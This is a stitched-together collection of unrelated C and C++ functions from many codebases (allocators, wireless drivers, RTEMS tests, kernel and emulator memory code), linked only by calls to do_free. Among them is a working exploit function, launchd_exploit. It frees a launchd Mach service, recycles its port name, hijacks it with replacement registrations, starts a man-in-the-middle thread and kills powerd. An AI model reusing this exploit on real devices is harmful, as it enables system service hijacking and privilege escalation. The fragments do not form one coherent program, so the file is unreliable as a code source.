std::map< std::string, std::string >
get_environment()
{
typedef std::map< std::string, std::string >
result_type ;
char * start = GetEnvironmentStrings() ;
if ( start == nullptr ) {
throw last_api_error( "GetEnvironmentStrings failed" ) ;
}
result_type result ;
try {
auto curr = start ;
while ( *curr != '\0' ) {
std::string const single = curr ;
auto const pos = single.find( '=' ) ;
std::string const name = single.substr( 0, pos ) ;
// On my system the string pointed to by p begins with "=::=::\",
// hence the test on empty.
if ( ! name.empty() ){
result.insert( result_type::value_type(
name,
single.substr( pos + 1 )
)) ;
}
curr += ( single.length() + 1 ) ;
}
} catch( ... ) {
do_free( start ) ;
throw ;
}
do_free( start ) ;
return result ;
}
static void free_line_list (void)
{
do_free ((char *) Energy_Line_List);
do_free ((char *) Line_Strengths);
Energy_Line_List = NULL;
Line_Strengths = NULL;
Num_Lines = 0;
}
/* function heap_test()
called to run the test engine
*/
void heap_test() {
int sample;
// seed the random number generator
srand(time(NULL));
// get the test parameters
get_parameters();
// start the log file
msglog = fopen("log.txt", "w");
// get the start address of the allocs array
// allowing space for the array
allocs = (unsigned long *) sbrk(sample_size * sizeof(unsigned long));
// start the allocation requests
for (sample = 0; sample < sample_size; sample++) {
// start-up phase, sample < sample_size/10, all allocations
if (sample < sample_size/10)
do_allocation(sample);
// build-up phase, sample < sample_size/2,
// calls to free() in proportion to sample
else if (sample < sample_size / 2) {
if (random() % 100 > 200 * sample / sample_size)
// an allocation
do_allocation(sample);
else
// a de-allocation
do_free();
}
// past half way through samples,
// even balance between allocations and de-allocations
else if (random() % 100 > 50)
do_allocation(sample);
else
do_free();
}
// clean up remaining allocations
while (nallocs > 0) do_free();
}
static struct wif *obsd_open(char *iface)
{
struct wif *wi;
struct priv_obsd *po;
int fd;
/* setup wi struct */
wi = wi_alloc(sizeof(*po));
if (!wi)
return NULL;
wi->wi_read = obsd_read;
wi->wi_write = obsd_write;
wi->wi_set_channel = obsd_set_channel;
wi->wi_get_channel = obsd_get_channel;
wi->wi_close = obsd_close;
wi->wi_fd = obsd_fd;
wi->wi_get_mac = obsd_get_mac;
wi->wi_set_mac = obsd_set_mac;
wi->wi_get_rate = obsd_get_rate;
wi->wi_set_rate = obsd_set_rate;
wi->wi_get_monitor = obsd_get_monitor;
/* setup iface */
fd = do_obsd_open(wi, iface);
if (fd == -1) {
do_free(wi);
return NULL;
}
/* setup private state */
po = wi_priv(wi);
po->po_fd = fd;
return wi;
}
void do_alloc(struct Reap *r) {
int i=0;
do_free(r);
for(i=0;i<10;i++) {
unsigned int size = 512;//pow(2, (rand() % 10));
if(size < 4) size = 4;
void *a = _reap_malloc(&r->h, CYC_CORE_UNIQUE_AQUAL, size);
if(!a) {
return;
}
memset(a, 0xff, size);
r->counter++;
printf("%s: alloc'd pointer %d (0x%x) of %d bytes ...", r->h.name, r->counter, a, size);
printf("Checking initialization...");fflush(stdout);
if(check_contents(a, size,0xff,0))
exit(-1);
printf("ok\n");
struct ReapPtrs *n = (struct ReapPtrs*)malloc(sizeof(struct ReapPtrs));
n->ptr = a;
n->next = r->p;
n->ix = r->counter;
n->size = size;
r->p = n;
}
}
void mloop()
{
fd_set rfds;
fd_set wfds;
while(loop_flag){
FD_ZERO(&rfds);
FD_ZERO(&wfds);
rfdset(moption.mcsocket, &rfds);
wfdset(moption.mcsocket, &wfds);
cfdset(moption.comm, &rfds, &wfds);
if(do_select(&rfds, &wfds)){
do_pong();
do_free();
}else{
do_pong();
do_recv();
do_send();
do_accept(moption.comm, &rfds);
do_comexe(moption.comm, &rfds);
do_exechk(moption.comm);
}
if(log_level != moption.loglevel){
lprintf(0, "%s: loglevel change %d to %d\n", __func__, moption.loglevel, log_level);
moption.loglevel = log_level;
}
}
}
static void test_heap_info(void)
{
size_t s1, s2;
void *p1;
int sc;
Heap_Information_block the_info;
free_all_delayed_blocks();
s1 = malloc_free_space();
p1 = malloc( 512 );
s2 = malloc_free_space();
puts( "malloc_free_space - check malloc space drops after malloc" );
rtems_test_assert( s1 );
rtems_test_assert( s2 );
rtems_test_assert( s2 <= s1 );
do_free( p1 );
puts( "malloc_free_space - verify free space returns to previous value" );
s2 = malloc_free_space();
rtems_test_assert( s1 == s2 );
puts( "malloc_info - called with NULL\n" );
sc = malloc_info( NULL );
rtems_test_assert( sc == -1 );
puts( "malloc_info - check free space drops after malloc" );
sc = malloc_info( &the_info );
rtems_test_assert( sc == 0 );
s1 = the_info.Free.largest;
p1 = malloc( 512 );
sc = malloc_info( &the_info );
rtems_test_assert( sc == 0 );
s2 = the_info.Free.largest;
rtems_test_assert( s1 );
rtems_test_assert( s2 );
rtems_test_assert( s2 <= s1 );
do_free( p1 );
puts( "malloc_info - verify free space returns to previous value" );
sc = malloc_info( &the_info );
rtems_test_assert( sc == 0 );
rtems_test_assert( s1 == the_info.Free.largest );
}
static void fbsd_close(struct wif *wi)
{
struct priv_fbsd *pf = wi_priv(wi);
close(pf->pf_fd);
close(pf->pf_s);
do_free(wi);
}
static void do_free(struct rb_node *n)
{
struct u64_val *node;
if ( NULL == n )
return;
if ( n->rb_child[CHILD_LEFT] )
do_free(n->rb_child[CHILD_LEFT]);
node = (struct u64_val *)n;
DEBUG("node %"PRIu64", %u oids", node->n_val, node->n_num_oid);
hgang_free(node->n_oids);
if ( n->rb_child[CHILD_RIGHT] )
do_free(n->rb_child[CHILD_RIGHT]);
}
static void obsd_close(struct wif *wi)
{
struct priv_obsd *po = wi_priv(wi);
close(po->po_fd);
close(po->po_s);
do_free(wi);
}
inline void Allocator::free_(ref_type ref, const char* addr) noexcept
{
#ifdef REALM_DEBUG
if (ref == m_debug_watch)
REALM_TERMINATE("Allocator watch: Ref was freed");
#endif
return do_free(ref, addr);
}
static void u64_wr_fini(void *priv)
{
struct u64_wr_priv *u64p = priv;
DEBUG("priv=%p", priv);
do_free(u64p->p_vals.rbt_root);
hgang_free(u64p->p_nodes);
free(priv);
}
/*! @decl void create(string re)
*!
*! When create is called, the current regexp bound to this object is
*! cleared. If a string is sent to create(), this string will be compiled
*! to an internal representation of the regexp and bound to this object
*! for laters calls to e.g. @[match] or @[split]. Calling create() without
*! an argument can be used to free up a little memory after the regexp has
*! been used.
*/
static void regexp_create(INT32 args)
{
const char *str;
do_free();
if(args)
{
get_all_args("Regexp.SimpleRegexp->create", args, "%s", &str);
THIS->regexp=pike_regcomp(Pike_sp[-args].u.string->str, 0);
}
}
static void free_spectral_bins (void)
{
Spectral_Bin_Type *b, *bmax;
b = Spectral_Bin_Table;
bmax = b + MAX_NUM_CHANNELS;
while (b < bmax)
{
do_free ((char *) b->cum_strengths);
b->cum_strengths = NULL;
b++;
}
}
void free_histograms()
{
do_free(&raw_histogram);
do_free(&histogram);
do_free(&scaled_raw_histogram);
do_free(&scaled_histogram);
do_free(&post_corrected_histogram);
do_free(&post_corrected_scaled_histogram);
}
static struct wif *fbsd_open(char *iface)
{
struct wif *wi;
struct priv_fbsd *pf;
int fd;
/* setup wi struct */
wi = wi_alloc(sizeof(*pf));
if (!wi)
return NULL;
wi->wi_read = fbsd_read;
wi->wi_write = fbsd_write;
wi->wi_set_channel = fbsd_set_channel;
wi->wi_get_channel = fbsd_get_channel;
wi->wi_close = fbsd_close;
wi->wi_fd = fbsd_fd;
wi->wi_get_mac = fbsd_get_mac;
wi->wi_set_mac = fbsd_set_mac;
wi->wi_get_rate = fbsd_get_rate;
wi->wi_set_rate = fbsd_set_rate;
wi->wi_get_monitor = fbsd_get_monitor;
wi->wi_get_mtu = fbsd_get_mtu;
wi->wi_set_mtu = fbsd_set_mtu;
/* setup iface */
fd = do_fbsd_open(wi, iface);
if (fd == -1) {
do_free(wi);
return NULL;
}
/* setup private state */
pf = wi_priv(wi);
pf->pf_fd = fd;
pf->pf_txparams.ibp_vers = IEEE80211_BPF_VERSION;
pf->pf_txparams.ibp_len = sizeof(struct ieee80211_bpf_params) - 6;
pf->pf_txparams.ibp_rate0 = 2; /* 1 MB/s XXX */
pf->pf_txparams.ibp_try0 = 1; /* no retransmits */
pf->pf_txparams.ibp_rate1 = 2; /* 1 MB/s XXX */
pf->pf_txparams.ibp_try1 = 1; /* no retransmits */
pf->pf_txparams.ibp_flags = IEEE80211_BPF_NOACK;
pf->pf_txparams.ibp_power = 100; /* nominal max */
pf->pf_txparams.ibp_pri = WME_AC_VO; /* high priority */
return wi;
}
static struct wif *cygwin_open(char *iface)
{
struct wif *wi;
struct priv_cygwin *priv;
/* setup wi struct */
wi = wi_alloc(sizeof(*priv));
if (!wi)
return NULL;
wi->wi_read = cygwin_read;
wi->wi_write = cygwin_write;
wi->wi_set_channel = cygwin_set_channel;
wi->wi_get_channel = cygwin_get_channel;
wi->wi_close = cygwin_close;
wi->wi_fd = cygwin_fd;
wi->wi_get_mac = cygwin_get_mac;
wi->wi_set_mac = cygwin_set_mac;
wi->wi_get_rate = cygwin_get_rate;
wi->wi_set_rate = cygwin_set_rate;
wi->wi_get_monitor = cygwin_get_monitor;
/* setup iface */
if (do_cygwin_open(wi, iface) == -1)
goto err;
/* setup private state */
priv = wi_priv(wi);
priv->pc_wi = wi;
/* setup reader */
if (pipe(priv->pc_pipe) == -1)
goto err;
priv->pc_running = 2;
if (pthread_create(&priv->pc_reader, NULL, cygwin_reader, priv))
goto err;
priv->pc_running = 1;
return wi;
err:
do_free(wi);
return NULL;
}
void free(void *ptr)
{
t_header *header;
ft_putendl("FREE");
if (!ptr)
return ;
pthread_mutex_lock(&g_mem_mutex);
if (!check_if_valid_address(ptr))
return ;
header = ptr - SIZE_HEADER;
if (header->ptr == ptr)
{
if (1 == header->flag)
double_free_error();
else if (0 == header->flag)
do_free(header);
else
free_not_allocated_error();
}
else
free_not_allocated_error();
pthread_mutex_unlock(&g_mem_mutex);
}
/*
* Deallocate memory region for specified address.
*
* The "addr" argument points to a memory region previously
* allocated through a call to vm_allocate() or vm_map(). The
* number of bytes freed is the number of bytes of the
* allocated region. If one of the region of previous and
* next are free, it combines with them, and larger free
* region is created.
*/
int
vm_free(task_t task, void *addr)
{
int err;
sched_lock();
if (!task_valid(task)) {
err = ESRCH;
goto out;
}
if (task != cur_task() && !task_capable(CAP_MEMORY)) {
err = EPERM;
goto out;
}
if (!user_area(addr)) {
err = EFAULT;
goto out;
}
err = do_free(task->map, addr);
out:
sched_unlock();
return err;
}
bool uae_vm_free(void *address, int size)
{
uae_log("VM: Free 0x%-8x bytes at %p\n", size, address);
return do_free(address, size);
}
void
free (void *ptr)
{
do_free (ptr);
}
void
__libc_free (void *ptr)
{
do_free (ptr);
}
int main(int argc, char* argv[])
{
const char* interface;
test_t* t;
int c;
printf("# ef_vi_version_str: %s\n", ef_vi_version_str());
while( (c = getopt (argc, argv, "n:s:wfbvVpta:A:")) != -1 )
switch( c ) {
case 'n':
cfg_iter = atoi(optarg);
break;
case 's':
cfg_payload_len = atoi(optarg);
break;
case 'w':
cfg_eventq_wait = 1;
break;
case 'f':
cfg_fd_wait = 1;
break;
case 'v':
cfg_use_vf = 1;
break;
case 'V':
cfg_use_vport = 1;
break;
case 'p':
cfg_phys_mode = 1;
break;
case 't':
cfg_disable_tx_push = 1;
break;
case 'a':
cfg_tx_align = atoi(optarg);
break;
case 'A':
cfg_rx_align = atoi(optarg);
break;
case '?':
usage();
default:
TEST(0);
}
argc -= optind;
argv += optind;
if( argc != 7 )
usage();
interface = argv[1];
CL_CHK(parse_host(argv[2], &sa_local.sin_addr));
sa_local.sin_port = htons(atoi(argv[3]));
CL_CHK(parse_mac(argv[4], remote_mac));
CL_CHK(parse_host(argv[5], &sa_remote.sin_addr));
sa_remote.sin_port = htons(atoi(argv[6]));
if( cfg_payload_len > MAX_UDP_PAYLEN ) {
fprintf(stderr, "WARNING: UDP payload length %d is larged than standard "
"MTU\n", cfg_payload_len);
}
for( t = the_tests; t != the_tests + NUM_TESTS; ++t )
if( ! strcmp(argv[0], t->name) )
break;
if( t == the_tests + NUM_TESTS )
usage();
printf("# udp payload len: %d\n", cfg_payload_len);
printf("# iterations: %d\n", cfg_iter);
do_init(interface);
printf("# frame len: %d\n", tx_frame_len);
printf("# rx align: %d\n", cfg_rx_align);
printf("# tx align: %d\n", cfg_tx_align);
t->fn();
/* Free all ef_vi resources we allocated above. This isn't
* necessary as the process is about to exit which will free up all
* resources. It is just to serve as an example of how to free up
* ef_vi resources without exiting the process. */
do_free();
return 0;
}
/*************************************************
* Malloc_Allocator's Deallocation *
*************************************************/
void Malloc_Allocator::deallocate(void* ptr, u32bit n)
{
do_free(ptr, n, false);
}
void *am_alloc(void *ud, void *ptr, size_t osize, size_t nsize) {
//am_debug("am_alloc(%p, %p, %d, %d)", ud, ptr, (int)osize, (int)nsize);
am_allocator *allocator = (am_allocator*)ud;
if (nsize == 0) {
if (ptr == NULL) return NULL;
do_free(allocator, ptr, osize);
return NULL;
} else {
if (ptr == NULL) {
// new object
if (nsize <= TINY_CELL_SZ) {
return alloc_pool_cell(&allocator->tiny_pool, nsize);
}
if (nsize <= SMALL_CELL_SZ) {
return alloc_pool_cell(&allocator->small_pool, nsize);
}
if (nsize <= MEDIUM_CELL_SZ) {
return alloc_pool_cell(&allocator->medium_pool, nsize);
}
#ifdef AM_PRINT_ALLOC_STATS
update_stats_alloc(&allocator->heap_stats, nsize);
#endif
return malloc(nsize);
} else {
// resize existing object
if (nsize <= TINY_CELL_SZ) {
if (osize > TINY_CELL_SZ) {
// move to tiny pool
void *new_ptr = alloc_pool_cell(&allocator->tiny_pool, nsize);
memcpy(new_ptr, ptr, nsize);
do_free(allocator, ptr, osize);
return new_ptr;
}
// keep existing cell
#ifdef AM_PRINT_ALLOC_STATS
update_stats_free(&allocator->tiny_pool.stats, osize);
update_stats_alloc(&allocator->tiny_pool.stats, nsize);
#endif
return ptr;
}
if (nsize <= SMALL_CELL_SZ) {
if (osize <= TINY_CELL_SZ) {
// move from tiny to small pool
void *new_ptr = alloc_pool_cell(&allocator->small_pool, nsize);
memcpy(new_ptr, ptr, osize);
do_free(allocator, ptr, osize);
return new_ptr;
}
if (osize <= SMALL_CELL_SZ) {
// keep existing cell
#ifdef AM_PRINT_ALLOC_STATS
update_stats_free(&allocator->small_pool.stats, osize);
update_stats_alloc(&allocator->small_pool.stats, nsize);
#endif
return ptr;
}
// move from larger pool to small pool
void *new_ptr = alloc_pool_cell(&allocator->small_pool, nsize);
memcpy(new_ptr, ptr, nsize);
do_free(allocator, ptr, osize);
return new_ptr;
}
if (nsize <= MEDIUM_CELL_SZ) {
if (osize <= SMALL_CELL_SZ) {
// move from smaller pool to medium pool
void *new_ptr = alloc_pool_cell(&allocator->medium_pool, nsize);
memcpy(new_ptr, ptr, osize);
do_free(allocator, ptr, osize);
return new_ptr;
}
if (osize <= MEDIUM_CELL_SZ) {
// keep existing cell
#ifdef AM_PRINT_ALLOC_STATS
update_stats_free(&allocator->medium_pool.stats, osize);
update_stats_alloc(&allocator->medium_pool.stats, nsize);
#endif
return ptr;
}
// move from heap to medium pool
void *new_ptr = alloc_pool_cell(&allocator->medium_pool, nsize);
memcpy(new_ptr, ptr, nsize);
free(ptr);
#ifdef AM_PRINT_ALLOC_STATS
update_stats_free(&allocator->heap_stats, osize);
#endif
return new_ptr;
}
// new object goes on heap
if (osize <= MEDIUM_CELL_SZ) {
// move from pool to heap
void *new_ptr = malloc(nsize);
#ifdef AM_PRINT_ALLOC_STATS
update_stats_alloc(&allocator->heap_stats, nsize);
#endif
memcpy(new_ptr, ptr, osize);
do_free(allocator, ptr, osize);
return new_ptr;
}
// ptr was already on heap
#ifdef AM_PRINT_ALLOC_STATS
update_stats_free(&allocator->heap_stats, osize);
update_stats_alloc(&allocator->heap_stats, nsize);
#endif
return realloc(ptr, nsize);
}
}
}
void launchd_exploit(char* app_group) {
char* target_service_name = default_target_service_name;
// allocate the receive rights which we will try to replace the service with:
// (we'll also use them to loop the mach port name in the target)
size_t n_ports = 0x1000;
mach_port_t* ports = calloc(sizeof(void*), n_ports);
for (int i = 0; i < n_ports; i++) {
kern_return_t err;
err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &ports[i]);
if (err != KERN_SUCCESS) {
printf("failed to allocate port: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
err = mach_port_insert_right(mach_task_self(),
ports[i],
ports[i],
MACH_MSG_TYPE_MAKE_SEND);
if (err != KERN_SUCCESS) {
printf("failed to insert send right: %s\n", mach_error_string(err));
exit(EXIT_FAILURE);
}
}
// generate some service names we can use:
char** names = calloc(sizeof(char*), n_ports);
for (int i = 0; i < n_ports; i++) {
char name[strlen(app_group)+64];
sprintf(name, "%s.%d", app_group, i);
names[i] = strdup(name);
}
// lookup a send right to the target to be replaced
mach_port_t target_service = lookup(target_service_name);
// free the target in launchd
do_free(bootstrap_port, target_service);
// send one smaller looper message to push the free'd name down the free list:
send_looper(bootstrap_port, ports, 0x100, MACH_MSG_TYPE_MAKE_SEND);
// send the larger ones to loop the generation number whilst leaving the name in the middle of the long freelist
for (int i = 0; i < 62; i++) {
send_looper(bootstrap_port, ports, 0x200, MACH_MSG_TYPE_MAKE_SEND);
}
// now that the name should have looped round (and still be near the middle of the freelist
// try to replace it by registering a lot of new services
for (int i = 0; i < n_ports; i++) {
kern_return_t err = bootstrap_register(bootstrap_port, names[i], ports[i]);
if (err != KERN_SUCCESS) {
printf("failed to register service %d, continuing anyway...\n", i);
}
}
// add all those receive rights to a port set:
mach_port_t ps;
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_PORT_SET, &ps);
for (int i = 0; i < n_ports; i++) {
mach_port_move_member(mach_task_self(), ports[i], ps);
}
start_mitm_thread(target_service, ps);
kill_powerd();
return;
}
// This function shall free a dependent_exception.
// It does not affect the reference count of the primary exception.
void __cxa_free_dependent_exception (void * dependent_exception) {
do_free(dependent_exception);
}
// Free a __cxa_exception object allocated with __cxa_allocate_exception.
void __cxa_free_exception (void * thrown_object) throw() {
do_free(cxa_exception_from_thrown_object(thrown_object));
}
/*************************************************
* Locking_Allocator's Deallocation *
*************************************************/
void Locking_Allocator::dealloc_block(void* ptr, u32bit n)
{
do_free(ptr, n, true);
}
void *uae_vm_reserve(uae_u32 size, int flags)
{
void *address = NULL;
#ifdef _WIN32
address = try_reserve(0x80000000, size, flags);
if (address == NULL && (flags & UAE_VM_32BIT)) {
if (size <= 768 * 1024 * 1024) {
address = try_reserve(0x78000000 - size, size, flags);
}
}
if (address == NULL && (flags & UAE_VM_32BIT) == 0) {
address = try_reserve(0, size, flags);
}
#else
#ifdef CPU_64_BIT
if (flags & UAE_VM_32BIT) {
#else
if (true) {
#endif
uintptr_t try_addr = 0x80000000;
while (address == NULL) {
address = try_reserve(try_addr, size, flags);
if (address == NULL) {
try_addr -= 0x4000000;
if (try_addr < 0x20000000) {
break;
}
continue;
}
}
}
if (address == NULL && (flags & UAE_VM_32BIT) == 0) {
address = try_reserve(0, size, flags);
}
#endif
if (address) {
uae_log("VM: Reserve 0x%-8x bytes, got address 0x%llx\n",
size, (uae_u64) (uintptr_t) address);
} else {
uae_log("VM: Reserve 0x%-8x bytes failed!\n", size);
}
return address;
}
void *uae_vm_reserve_fixed(void *want_addr, uae_u32 size, int flags)
{
void *address = NULL;
uae_log("VM: Reserve 0x%-8x bytes at %p (fixed)\n", size, want_addr);
address = try_reserve((uintptr_t) want_addr, size, flags);
if (address == NULL) {
uae_log("VM: Reserve 0x%-8x bytes at %p failed!\n", size, want_addr);
return NULL;
}
if (address != want_addr) {
do_free(address, size);
return NULL;
}
uae_log("VM: Reserve 0x%-8x bytes, got address 0x%llx\n",
size, (uae_u64) (uintptr_t) address);
return address;
}
